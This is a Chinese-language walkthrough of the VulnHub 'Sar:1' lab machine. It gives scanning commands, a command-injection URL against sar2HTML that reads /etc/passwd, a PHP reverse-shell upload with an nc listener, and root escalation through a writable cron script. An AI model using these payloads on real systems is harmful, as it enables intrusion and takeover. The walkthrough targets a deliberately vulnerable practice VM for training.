虚拟机信息：
虚拟机下载地址：https://www.vulnhub.com/entry/sar-1,425/
虚拟机简介：Sar是一种类似于OSCP的VM，旨在在渗透测试领域积累经验
目标：1个flag
级别：简单/中级
1、使用arp-scan进行扫描探测IP地址
arp-scan -l
2、通过nmap进行端口扫描
nmap -A -sS -sV -v -p- 192.168.56.105
查看开放80端口
3、WEB渗透测试
3.1 使用dirb进行目录扫描发现robots.txt文件
提示页面为sar2HTML
3.2 网站页面访问，查看有远程命令执行漏洞
参考链接：https://www.anquanke.com/vul/id/1688711
3.3 访问WEB页面后，并选择select host,显示执行结果
http://192.168.56.105/sar2HTML/index.php?plot=;%20tail%20%22/etc/passwd%22
可以直接上传webshell，并且没有做任何过滤
点击新建，并上传webshell
3.4 访问webshell默认地址上传地址，并获取到反弹shell
http://192.168.56.105/sar2HTML/sarDATA/uPLOAD/php-reverse-shell.php
3.5 查看当前用户无sudo权限，查看定时任务
sudo -l
cat /etc/crontab
3.6 查看用户桌面下的user.txt获取到用户的flag
cd /home/love/Desktop
cat user.txt
4、系统提权
4.1 查看定时脚本的任务，finally.sh调用write.sh脚本，write.sh脚本创建临时文件，并权限为777
cd /var/www/html/
ls -lah
cat finally.sh
cat write.sh
4.2 执行php反弹shell连接
kali开启NC反弹监听
nc -nlvp 5555
复制上传好的webshell，并修改监听端口为5555，并把phpshell写入到定时任务中
cp /var/www/html/sar2HTML/sarDATA/uPLOAD/php-reverse-shell.php /var/www/html/sar2HTML/sarDATA/uPLOAD/shell.php
sed -i s'/port = 4444/port = 5555/' /var/www/html/sar2HTML/sarDATA/uPLOAD/shell.php
echo "php /var/www/html/sar2HTML/sarDATA/uPLOAD/shell.php" >> write.sh
4.3 获取webshell查看flag信息
等待5分钟后，获取反弹shell连接
cat /root/root.txt
原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之Sar:1
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论